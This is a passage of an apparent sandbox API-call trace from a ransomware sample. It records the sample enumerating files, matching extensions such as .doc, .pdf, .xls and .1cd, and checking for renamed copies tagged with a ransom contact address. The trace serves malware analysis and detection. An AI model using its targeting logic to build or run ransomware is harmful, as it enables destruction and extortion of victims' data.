files\\microsoft shared\\grphflt\\ms.jpg")) returned 1 [0036.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0036.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0036.016] lstrlenW (lpString=".doc") returned 4 [0036.016] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0036.016] lstrlenW (lpString=".docx") returned 5 [0036.016] lstrcmpiW (lpString1=".docx", lpString2="S.JPG") returned -1 [0036.016] lstrlenW (lpString=".pdf") returned 4 [0036.016] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0036.016] lstrlenW (lpString=".xls") returned 4 [0036.016] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0036.016] lstrlenW (lpString=".xlsx") returned 5 [0036.016] lstrcmpiW (lpString1=".xlsx", lpString2="S.JPG") returned -1 [0036.016] lstrlenW (lpString=".ppt") returned 4 [0036.016] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0036.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0036.016] lstrlenW (lpString=".zip") returned 4 [0036.016] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0036.016] lstrlenW (lpString=".rar") returned 4 [0036.016] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0036.016] lstrlenW (lpString=".bz2") returned 4 [0036.016] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0036.016] lstrlenW (lpString=".7z") returned 3 [0036.016] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0036.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0036.017] lstrlenW (lpString=".dbf") returned 4 [0036.017] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0036.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0036.017] lstrlenW (lpString=".1cd") returned 4 [0036.017] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0036.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0036.017] lstrlenW (lpString=".jpg") returned 4 [0036.017] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0036.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0036.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0036.017] lstrlenW (lpString=".doc") returned 4 [0036.017] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0036.017] lstrlenW (lpString=".docx") returned 5 [0036.017] lstrcmpiW (lpString1=".docx", lpString2="S.JPG") returned -1 [0036.017] lstrlenW (lpString=".pdf") returned 4 [0036.017] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0036.017] lstrlenW (lpString=".xls") returned 4 [0036.017] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0036.017] lstrlenW (lpString=".xlsx") returned 5 [0036.017] lstrcmpiW (lpString1=".xlsx", lpString2="S.JPG") returned -1 [0036.017] lstrlenW (lpString=".ppt") returned 4 [0036.017] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0036.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0036.017] lstrlenW (lpString=".zip") returned 4 [0036.017] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0036.017] lstrlenW (lpString=".rar") returned 4 [0036.017] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0036.017] lstrlenW (lpString=".bz2") returned 4 [0036.017] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0036.017] lstrlenW (lpString=".7z") returned 3 [0036.017] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0036.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0036.018] lstrlenW (lpString=".dbf") returned 4 [0036.018] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0036.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0036.018] lstrlenW (lpString=".1cd") returned 4 [0036.018] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0036.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.JPG") returned 61 [0036.018] lstrlenW (lpString=".jpg") returned 4 [0036.018] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0036.018] lstrcmpiW (lpString1=".avi", lpString2=".html") returned -1 [0036.018] lstrlenW (lpString="boxed-correct.avi") returned 17 [0036.018] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0036.021] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x229ff1c | out: lpFileSize=0x229ff1c*=89600) returned 1 [0036.021] CloseHandle (hObject=0x1b0) returned 1 [0036.021] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi")) returned 0x20 [0036.021] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0036.021] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0036.021] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0036.021] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0036.021] lstrlenW (lpString=".doc") returned 4 [0036.021] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0036.021] lstrlenW (lpString=".docx") returned 5 [0036.021] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0036.021] lstrlenW (lpString=".pdf") returned 4 [0036.021] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0036.021] lstrlenW (lpString=".xls") returned 4 [0036.021] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0036.021] lstrlenW (lpString=".xlsx") returned 5 [0036.021] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0036.021] lstrlenW (lpString=".ppt") returned 4 [0036.022] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0036.022] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0036.022] lstrlenW (lpString=".zip") returned 4 [0036.022] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0036.022] lstrlenW (lpString=".rar") returned 4 [0036.022] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0036.022] lstrlenW (lpString=".bz2") returned 4 [0036.022] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0036.022] lstrlenW (lpString=".7z") returned 3 [0036.022] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0036.022] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0036.022] lstrlenW (lpString=".dbf") returned 4 [0036.022] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0036.022] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0036.022] lstrlenW (lpString=".1cd") returned 4 [0036.022] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0036.022] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0036.022] lstrlenW (lpString=".jpg") returned 4 [0036.022] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0036.022] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0036.022] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0036.022] lstrlenW (lpString=".doc") returned 4 [0036.022] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0036.022] lstrlenW (lpString=".docx") returned 5 [0036.022] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0036.022] lstrlenW (lpString=".pdf") returned 4 [0036.022] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0036.022] lstrlenW (lpString=".xls") returned 4 [0036.022] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0036.022] lstrlenW (lpString=".xlsx") returned 5 [0036.022] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0036.022] lstrlenW (lpString=".ppt") returned 4 [0036.023] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0036.023] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0036.023] lstrlenW (lpString=".zip") returned 4 [0036.023] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0036.023] lstrlenW (lpString=".rar") returned 4 [0036.023] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0036.023] lstrlenW (lpString=".bz2") returned 4 [0036.023] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0036.023] lstrlenW (lpString=".7z") returned 3 [0036.023] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0036.023] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0036.023] lstrlenW (lpString=".dbf") returned 4 [0036.023] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0036.023] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0036.023] lstrlenW (lpString=".1cd") returned 4 [0036.023] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0036.023] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0036.023] lstrlenW (lpString=".jpg") returned 4 [0036.023] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0036.023] lstrcmpiW (lpString1=".avi", lpString2=".html") returned -1 [0036.023] lstrlenW (lpString="boxed-delete.avi") returned 16 [0036.023] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0036.024] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x229ff1c | out: lpFileSize=0x229ff1c*=31744) returned 1 [0036.024] CloseHandle (hObject=0x1b0) returned 1 [0036.024] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi")) returned 0x20 [0036.024] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0036.024] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0036.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0036.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0036.024] lstrlenW (lpString=".doc") returned 4 [0036.024] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0036.025] lstrlenW (lpString=".docx") returned 5 [0036.025] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0036.025] lstrlenW (lpString=".pdf") returned 4 [0036.025] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0036.025] lstrlenW (lpString=".xls") returned 4 [0036.025] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0036.025] lstrlenW (lpString=".xlsx") returned 5 [0036.025] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0036.025] lstrlenW (lpString=".ppt") returned 4 [0036.025] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0036.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0036.025] lstrlenW (lpString=".zip") returned 4 [0036.025] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0036.025] lstrlenW (lpString=".rar") returned 4 [0036.025] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0036.025] lstrlenW (lpString=".bz2") returned 4 [0036.025] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0036.025] lstrlenW (lpString=".7z") returned 3 [0036.025] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0036.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0036.025] lstrlenW (lpString=".dbf") returned 4 [0036.025] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0036.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0036.025] lstrlenW (lpString=".1cd") returned 4 [0036.025] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0036.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0036.025] lstrlenW (lpString=".jpg") returned 4 [0036.025] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0036.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0036.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0036.025] lstrlenW (lpString=".doc") returned 4 [0036.025] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0036.026] lstrlenW (lpString=".docx") returned 5 [0036.026] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0036.026] lstrlenW (lpString=".pdf") returned 4 [0036.026] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0036.026] lstrlenW (lpString=".xls") returned 4 [0036.026] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0036.026] lstrlenW (lpString=".xlsx") returned 5 [0036.026] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0036.026] lstrlenW (lpString=".ppt") returned 4 [0036.026] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0036.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0036.026] lstrlenW (lpString=".zip") returned 4 [0036.026] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0036.026] lstrlenW (lpString=".rar") returned 4 [0036.026] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0036.026] lstrlenW (lpString=".bz2") returned 4 [0036.026] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0036.026] lstrlenW (lpString=".7z") returned 3 [0036.026] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0036.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0036.026] lstrlenW (lpString=".dbf") returned 4 [0036.026] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0036.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0036.026] lstrlenW (lpString=".1cd") returned 4 [0036.026] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0036.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0036.026] lstrlenW (lpString=".jpg") returned 4 [0036.026] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0036.026] lstrcmpiW (lpString1=".avi", lpString2=".html") returned -1 [0036.026] lstrlenW (lpString="boxed-join.avi") returned 14 [0036.027] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0036.027] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x229ff1c | out: lpFileSize=0x229ff1c*=33280) returned 1 [0036.027] CloseHandle (hObject=0x1b0) returned 1 [0036.027] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi")) returned 0x20 [0036.027] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0036.027] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0036.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0036.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0036.027] lstrlenW (lpString=".doc") returned 4 [0036.027] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0036.027] lstrlenW (lpString=".docx") returned 5 [0036.027] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0036.027] lstrlenW (lpString=".pdf") returned 4 [0036.027] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0036.027] lstrlenW (lpString=".xls") returned 4 [0036.027] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0036.027] lstrlenW (lpString=".xlsx") returned 5 [0036.027] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0036.027] lstrlenW (lpString=".ppt") returned 4 [0036.027] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0036.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0036.027] lstrlenW (lpString=".zip") returned 4 [0036.027] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0036.028] lstrlenW (lpString=".rar") returned 4 [0036.028] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0036.028] lstrlenW (lpString=".bz2") returned 4 [0036.028] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0036.028] lstrlenW (lpString=".7z") returned 3 [0036.028] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0036.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0036.028] lstrlenW (lpString=".dbf") returned 4 [0036.028] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0036.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0036.028] lstrlenW (lpString=".1cd") returned 4 [0036.028] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0036.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0036.028] lstrlenW (lpString=".jpg") returned 4 [0036.028] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0036.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0036.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0036.028] lstrlenW (lpString=".doc") returned 4 [0036.028] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0036.028] lstrlenW (lpString=".docx") returned 5 [0036.028] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0036.028] lstrlenW (lpString=".pdf") returned 4 [0036.028] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0036.028] lstrlenW (lpString=".xls") returned 4 [0036.028] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0036.028] lstrlenW (lpString=".xlsx") returned 5 [0036.028] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0036.028] lstrlenW (lpString=".ppt") returned 4 [0036.028] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0036.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0036.028] lstrlenW (lpString=".zip") returned 4 [0036.029] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0036.029] lstrlenW (lpString=".rar") returned 4 [0036.029] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0036.029] lstrlenW (lpString=".bz2") returned 4 [0036.029] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0036.029] lstrlenW (lpString=".7z") returned 3 [0036.029] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0036.029] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0036.029] lstrlenW (lpString=".dbf") returned 4 [0036.029] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0036.029] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0036.029] lstrlenW (lpString=".1cd") returned 4 [0036.029] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0036.029] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0036.029] lstrlenW (lpString=".jpg") returned 4 [0036.029] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0036.029] lstrcmpiW (lpString1=".avi", lpString2=".html") returned -1 [0036.029] lstrlenW (lpString="boxed-split.avi") returned 15 [0036.029] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0036.029] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x229ff1c | out: lpFileSize=0x229ff1c*=62976) returned 1 [0036.029] CloseHandle (hObject=0x1b0) returned 1 [0036.030] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi")) returned 0x20 [0036.030] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0036.030] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0036.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0036.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0036.030] lstrlenW (lpString=".doc") returned 4 [0036.030] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0036.030] lstrlenW (lpString=".docx") returned 5 [0036.030] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0036.030] lstrlenW (lpString=".pdf") returned 4 [0036.030] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0036.030] lstrlenW (lpString=".xls") returned 4 [0036.030] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0036.030] lstrlenW (lpString=".xlsx") returned 5 [0036.030] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0036.030] lstrlenW (lpString=".ppt") returned 4 [0036.030] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0036.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0036.030] lstrlenW (lpString=".zip") returned 4 [0036.030] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0036.030] lstrlenW (lpString=".rar") returned 4 [0036.030] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0036.030] lstrlenW (lpString=".bz2") returned 4 [0036.030] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0036.030] lstrlenW (lpString=".7z") returned 3 [0036.030] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0036.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0036.030] lstrlenW (lpString=".dbf") returned 4 [0036.030] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0036.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0036.031] lstrlenW (lpString=".1cd") returned 4 [0036.031] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0036.031] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0036.031] lstrlenW (lpString=".jpg") returned 4 [0036.031] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0036.031] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0036.031] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0036.031] lstrlenW (lpString=".doc") returned 4 [0036.031] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0036.031] lstrlenW (lpString=".docx") returned 5 [0036.031] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0036.031] lstrlenW (lpString=".pdf") returned 4 [0036.031] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 